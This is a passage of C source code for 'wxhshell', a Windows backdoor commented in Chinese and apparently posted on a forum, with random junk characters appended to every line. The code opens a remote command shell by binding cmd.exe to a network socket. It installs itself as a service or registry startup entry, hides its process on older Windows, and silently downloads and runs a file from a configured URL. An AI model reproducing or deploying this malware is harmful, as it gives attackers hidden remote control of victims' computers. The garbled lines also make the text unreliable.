RvQl{aL  
    switch(cmd[0]) { wK_I"  
  "AzA|zk')"  
  // 帮助 0?tn.<'B8T  
  case '?': { tCJ+OU5/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4\.1phe$a  
    break; 4nfpPN t  
  } 5gPcsn"D  
  // 安装 fJb<<6C  
  case 'i': { Nl3@i`;  
    if(Install()) ~ "^]\3#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5f:Mb|. ?  
    else YM idSfi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %YI Xk1  
    break; = 2 3H/  
    } CO` %eL ~  
  // 卸载 V?a+u7*U&  
  case 'r': { b0A*zQA_)  
    if(Uninstall()) UKBVCAK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }w0>mA0=H  
    else G/2| *H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  i,{'}B  
    break; _\9|acFT2O  
    } q\P"AlpC!  
  // 显示 wxhshell 所在路径 f#s /Ycp+  
  case 'p': { fI5]ed eS  
    char svExeFile[MAX_PATH]; -\b$5oa(  
    strcpy(svExeFile,"\n\r"); |]d A`e&y  
      strcat(svExeFile,ExeFile); x2|YrkGv  
        send(wsh,svExeFile,strlen(svExeFile),0); :3z`+5Y*  
    break; S+mZ.aFS0z  
    } ~i4h.ZLj  
  // 重启 1mLd_ ]F'F  
  case 'b': { cH&-/|N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t4a/\{/#9|  
    if(Boot(REBOOT)) z"b}V01F#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oA^aT:o +  
    else { SIBNU3;DL  
    closesocket(wsh); `kn 'RZR  
    ExitThread(0); oJcDs-!  
    } .o(XnY)cgJ  
    break; s)=fs#%  
    } (8(7:aE $  
  // 关机 Hl,.6 >F?  
  case 'd': { kj o,?$r %  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A/XY' 3  
    if(Boot(SHUTDOWN)) 9!u=q5+E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jm_b3!J  
    else { wF +9Iu  
    closesocket(wsh); Q-3o k7  
    ExitThread(0); tSr.0'CE  
    } /'V(F* g  
    break; $*035f  
    } bZ-"R 6a$  
  // 获取shell #}/YnVk  
  case 's': { @WV}VKm  
    CmdShell(wsh); vtvF)jlX  
    closesocket(wsh); E4a`cGb  
    ExitThread(0); }klET   
    break; J YA  
  } As$:V<Z  
  // 退出 0w0\TWz*   
  case 'x': { i'GBj,:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :x36^{7  
    CloseIt(wsh);  p)5j~Nl  
    break; Ow0-}Im~  
    } p;[">["  
  // 离开 xWwQm'I2}  
  case 'q': { 7oj ^(R,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2S~cW./#fX  
    closesocket(wsh); t% -"h|  
    WSACleanup(); #kO.'oIl  
    exit(1); z=}@aX[  
    break; N$8do?  
        } 3ErW3Ac Ou  
  } I<v1S  
  } [Yo3=(7J  
j.? '*?P  
  // 提示信息 3{gD'y4j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8oM]gW;J~  
} ?-40bb  
  } b51{sL  
hJr cy!P<a  
  return; B0_[bQoc1  
} %?GLMf7)  
g"Eg=CU  
// shell模块句柄 V/X4WZs|i  
int CmdShell(SOCKET sock) *Nv!Kuk  
{ cs'ylGH  
STARTUPINFO si; Q9-o$4#R[  
ZeroMemory(&si,sizeof(si)); Xz,-'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fap@cW3?8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BoJYP  
PROCESS_INFORMATION ProcessInfo; >k:BG{$Kae  
char cmdline[]="cmd"; T7vSp<i/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'hTA O1n8  
  return 0; ,QDS_u$xi&  
} r-27AJu  
*h+@a  
// 自身启动模式 {`2R<O  
int StartFromService(void) c4]/{!4 Q  
{ "A_,Ga  
typedef struct ]2^tV.^S^  
{ h/I'9&J>*  
  DWORD ExitStatus; I! s&m%s  
  DWORD PebBaseAddress; .~ )[>  
  DWORD AffinityMask; -8sm^A>C  
  DWORD BasePriority; K+3dwQo  
  ULONG UniqueProcessId; yc./:t1at>  
  ULONG InheritedFromUniqueProcessId; >(v%"04|e  
}   PROCESS_BASIC_INFORMATION; ?^F*M#%?  
K k 5 vC{  
PROCNTQSIP NtQueryInformationProcess; I)wjTTM5  
c\X0*GX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jr0D:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q+A^JjzT  
?vHow$  
  HANDLE             hProcess; q4].C|7   
  PROCESS_BASIC_INFORMATION pbi; tTWeOAF  
,XD'f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Irk@#,{<  
  if(NULL == hInst ) return 0; HPc7Vo(  
4nC`DJ;V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KfC8~{O-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xM ]IU <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4vri=P 2%  
q3+G  
  if (!NtQueryInformationProcess) return 0; 2k\i/i/Y  
: K%{?y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9fk@C/$  
  if(!hProcess) return 0; #[.vfG  
'qGKS:8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w]Q0}Z  
czMu<@c [  
  CloseHandle(hProcess); h, |49~^@"  
s%tPGjMq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vmI2o'zi  
if(hProcess==NULL) return 0; h @{U>U7  
s|7(VUPL  
HMODULE hMod; 71AR)6<R  
char procName[255]; ;DMv?-H  
unsigned long cbNeeded; yN* H IN  
E,6(/`0H*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D`nW9i7  
Yg 8AMi  
  CloseHandle(hProcess); 2ckAJcpEb/  
B{fPj9Y0  
if(strstr(procName,"services")) return 1; // 以服务启动 J(BtGGU'  
19 h7 M  
  return 0; // 注册表启动 A>;Q<8rh  
} *?/9lAm  
^i3~i?\,P  
// 主模块 K".\QF,:  
int StartWxhshell(LPSTR lpCmdLine) _dCsYI%  
{ n@pm5f  
  SOCKET wsl; zYf `o0U  
BOOL val=TRUE; y`"b%P)+T  
  int port=0; m'Jk!eo  
  struct sockaddr_in door; +xqPyR  
+\SNaq~&  
  if(wscfg.ws_autoins) Install(); OiB*,TWV  
;#np~gL  
port=atoi(lpCmdLine); zd) 2@jX=  
%w <59d6  
if(port<=0) port=wscfg.ws_port; E?c)WA2iH  
wGd4:W  
  WSADATA data; (*63G4Nz\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W~15[r0  
D-)jmz>R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   19)fN-0Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q 6Q;9,  
  door.sin_family = AF_INET; 9N(<OY+Dgm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dq/ _#&S  
  door.sin_port = htons(port); FA 1E`AdU  
LOY+^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L8<Yk`jx  
closesocket(wsl); [aM_.[bf  
return 1; AXBv']Y  
} P0m;AqS#R  
]h0Fv-[A  
  if(listen(wsl,2) == INVALID_SOCKET) { b6Jv|1w'  
closesocket(wsl); z/bJDSQ  
return 1; #(o 'G4T  
} !!Tk'=t9"3  
  Wxhshell(wsl); 0 S3~IeJ  
  WSACleanup(); Ndj9B|s_  
7g(,$5  
return 0; Xg*IOhF6x  
lk $S"OH!  
} A1xY8?#?~c  
)A]E:]2  
// 以NT服务方式启动 ygm4Aj>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h.Cr;w,2R  
{ 0{ov LzW  
DWORD   status = 0; *uYnu|UQH  
  DWORD   specificError = 0xfffffff; q2VQS1R`8  
'jp nQcwxx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OtuOT=%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H-%)r&"vn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MF>1u%  
  serviceStatus.dwWin32ExitCode     = 0; 27b7~!  
  serviceStatus.dwServiceSpecificExitCode = 0; u@SE)qg  
  serviceStatus.dwCheckPoint       = 0; a jy.K'B*  
  serviceStatus.dwWaitHint       = 0; >SJ# rZ  
8Rq+eOP=S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <fX]`57Dc`  
  if (hServiceStatusHandle==0) return; }{*((@GY}  
Wx}+Vq<q  
status = GetLastError(); *#j+,q!X  
  if (status!=NO_ERROR) &wj;:f  
{ ,RFcR[ak  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lhm=(7Y  
    serviceStatus.dwCheckPoint       = 0; wAE ,mw  
    serviceStatus.dwWaitHint       = 0; m ys5B}  
    serviceStatus.dwWin32ExitCode     = status; =re1xR!E5  
    serviceStatus.dwServiceSpecificExitCode = specificError; YH`/;H=$G/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gy36{*  
    return; CFJ F}aW  
  } zn5  
x1)G!i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4kO[|~#  
  serviceStatus.dwCheckPoint       = 0; oD,f5Ci-  
  serviceStatus.dwWaitHint       = 0; A3%s5`vNvH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =~YmM<L  
} 3=9yR* *  
jRXpEiM  
// 处理NT服务事件,比如:启动、停止 y4`<$gL   
VOID WINAPI NTServiceHandler(DWORD fdwControl) >So)KB  
{  eWO^n>Y  
switch(fdwControl) [T', ZLR|  
{ ocwRU0+j  
case SERVICE_CONTROL_STOP: kvh}{@|-  
  serviceStatus.dwWin32ExitCode = 0; ^.Y"<oZSS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >LxYP7M  
  serviceStatus.dwCheckPoint   = 0; }S6Sz&)  
  serviceStatus.dwWaitHint     = 0; X#mm Z;P  
  { Z(AI]wk3<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 11}fPWK  
  } .?b2Bd!MC  
  return; Oqzz9+  
case SERVICE_CONTROL_PAUSE: ~o`I[-g)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -ecP@,  
  break; 0;'kv |  
case SERVICE_CONTROL_CONTINUE: _+ K[1P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *a Y`[,4#$  
  break; *&)<'6  
case SERVICE_CONTROL_INTERROGATE: #3maT*JY  
  break; 'UO,DFq[Fl  
}; y wlN4=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iK%<0m  
} tx;DMxN!W  
Mn+;3qo{6  
// 标准应用程序主函数 BDY@&vF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }x4,a6^  
{ .:,RoK1  
lpkg( J#&  
// 获取操作系统版本 0j%@P[zQ  
OsIsNt=GetOsVer(); ZjLzS]\a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sqHv rI  
e47JLW&b  
  // 从命令行安装 le`&VdE^  
  if(strpbrk(lpCmdLine,"iI")) Install(); ((rk)Q+;v  
/=4P< &J  
  // 下载执行文件 +v%V1lf^~  
if(wscfg.ws_downexe) { z^9Yoqog  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MJ[#Gq\0R  
  WinExec(wscfg.ws_filenam,SW_HIDE); th8f  
} b3e:F{n ^  
Y4`MgP8t  
if(!OsIsNt) { NLM ]KT  
// 如果时win9x,隐藏进程并且设置为注册表启动 ay#cW.,  
HideProc(); _)Uw-vhQiT  
StartWxhshell(lpCmdLine); NtMK+y  
} ws5x53K  
else F.?`<7  
  if(StartFromService()) Oy[1_qfP  
  // 以服务方式启动 }.|\<8_  
  StartServiceCtrlDispatcher(DispatchTable); 0B)l"$W[)/  
else L1*P<Cb  
  // 普通方式启动 ^ pMjii8IZ  
  StartWxhshell(lpCmdLine); _GK^7}u  
xI'<4lo7Z  
return 0; \/4ipU.  
}
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只看该作者 1 发表于: 2006-10-10
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